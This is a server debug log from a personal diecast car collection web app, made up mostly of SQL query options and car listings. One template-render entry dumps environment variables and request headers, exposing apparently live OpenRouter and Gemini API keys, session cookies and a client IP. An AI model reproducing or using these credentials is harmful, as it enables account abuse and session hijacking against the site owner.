      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'GMC',
      vehicle_brand_id: 140,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 164,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 163,
      model_name: 'Toyota GR Supra',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 162,
      model_name: 'Lamborghini Sián FKP 37',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 161,
      model_name: 'Bugatti Chiron Pur Sport',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Bugatti',
      vehicle_brand_id: 129,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T07:17:47.864Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T07:17:47.864Z server-connect:app Executing action step identify
2026-02-04T07:17:47.864Z server-connect:app options: { provider: 'security' }
2026-02-04T07:17:47.864Z server-connect:output identity: 1
2026-02-04T07:17:47.864Z server-connect:app Executing action step restrict
2026-02-04T07:17:47.864Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T07:17:47.865Z server-connect:output restrict: undefined
2026-02-04T07:17:47.865Z server-connect:app Executing action step paged
2026-02-04T07:17:47.865Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T07:17:47.867Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 5,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      id: 165,
      model_name: 'GMC Hummer EV',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'GMC',
      vehicle_brand_id: 140,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 164,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 163,
      model_name: 'Toyota GR Supra',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 162,
      model_name: 'Lamborghini Sián FKP 37',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 161,
      model_name: 'Bugatti Chiron Pur Sport',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Bugatti',
      vehicle_brand_id: 129,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T07:18:12.145Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T07:18:12.146Z server-connect:app Executing action step identify
2026-02-04T07:18:12.146Z server-connect:app options: { provider: 'security' }
2026-02-04T07:18:12.146Z server-connect:output identity: 1
2026-02-04T07:18:12.146Z server-connect:app Executing action step restrict
2026-02-04T07:18:12.146Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T07:18:12.146Z server-connect:output restrict: undefined
2026-02-04T07:18:12.146Z server-connect:app Executing action step paged
2026-02-04T07:18:12.147Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T07:18:12.150Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 157,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 150 },
    current: 1,
    total: 7
  },
  data: [
    {
      id: 180,
      model_name: 'Mercedes-Benz G 500',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 179,
      model_name: 'Mercedes-Benz 190 E 2.5-16 EVO II',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 178,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 177,
      model_name: 'Ford Bronco Wildtrak',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 176,
      model_name: 'Ford Mustang Fastback',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 175,
      model_name: 'Mercedes-AMG GT R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 174,
      model_name: 'Mercedes-AMG GLC 63 S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 173,
      model_name: 'Mercedes-AMG A 35',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 172,
      model_name: 'Mercedes-AMG SL 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 171,
      model_name: 'Mercedes-AMG GT 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 165,
      model_name: 'GMC Hummer EV',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'GMC',
      vehicle_brand_id: 140,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 164,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 163,
      model_name: 'Toyota GR Supra',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 162,
      model_name: 'Lamborghini Sián FKP 37',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 161,
      model_name: 'Bugatti Chiron Pur Sport',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Bugatti',
      vehicle_brand_id: 129,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 160,
      model_name: '2023 Toyota RAV4 TRD',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 159,
      model_name: 'Ford Police Interceptor',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 158,
      model_name: 'GMC 3500 Utility Truck',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'GMC',
      vehicle_brand_id: 140,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 157,
      model_name: '2015 Honda Ridgeline',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Honda',
      vehicle_brand_id: 112,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 156,
      model_name: '1980 Jeep JIO Stepside',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Jeep',
      vehicle_brand_id: 122,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 155,
      model_name: '2025 RAM 1500 EV',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'RAM',
      vehicle_brand_id: 189,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 154,
      model_name: '2020 Land Rover Defender 90',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 153,
      model_name: 'Pierce Volterra EV',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Pierce',
      vehicle_brand_id: 192,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 152,
      model_name: '17 Toyota Landcruiser 78',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 151,
      model_name: 'Garbage King',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Fantasy',
      brand_id: 73,
      series_id: 92,
      case: '',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T07:18:12.497Z server-connect:router Serving templateView /
2026-02-04T07:18:12.497Z server-connect:app Executing action step identify
2026-02-04T07:18:12.497Z server-connect:app options: { provider: 'security' }
2026-02-04T07:18:12.497Z server-connect:output identity: 1
2026-02-04T07:18:12.497Z server-connect:app Executing action step restrict
2026-02-04T07:18:12.497Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T07:18:12.497Z server-connect:output restrict: undefined
2026-02-04T07:18:12.498Z server-connect:app Executing action step restrict
2026-02-04T07:18:12.498Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T07:18:12.498Z server-connect:output restrict: undefined
2026-02-04T07:18:12.498Z server-connect:router Render template layouts/main
2026-02-04T07:18:12.498Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    accept: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'no-cors',
    'sec-fetch-dest': 'image',
    referer: 'https://ems.sanjaychaurasia.xyz/diecast?series=&search=&manufacturer=&brand=&condition=',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-04T12:03:01.310Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    HTTP_ACCEPT: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'no-cors',
    'HTTP_SEC_FETCH-DEST': 'image',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast?series=&search=&manufacturer=&brand=&condition=',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2026-02-04T07:18:15.361Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T07:18:15.361Z server-connect:app Executing action step identify
2026-02-04T07:18:15.362Z server-connect:app options: { provider: 'security' }
2026-02-04T07:18:15.362Z server-connect:output identity: 1
2026-02-04T07:18:15.362Z server-connect:app Executing action step restrict
2026-02-04T07:18:15.362Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T07:18:15.362Z server-connect:output restrict: undefined
2026-02-04T07:18:15.362Z server-connect:app Executing action step paged
2026-02-04T07:18:15.362Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T07:18:15.365Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 38,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 25 },
    current: 1,
    total: 2
  },
  data: [
    {
      id: 180,
      model_name: 'Mercedes-Benz G 500',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 179,
      model_name: 'Mercedes-Benz 190 E 2.5-16 EVO II',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
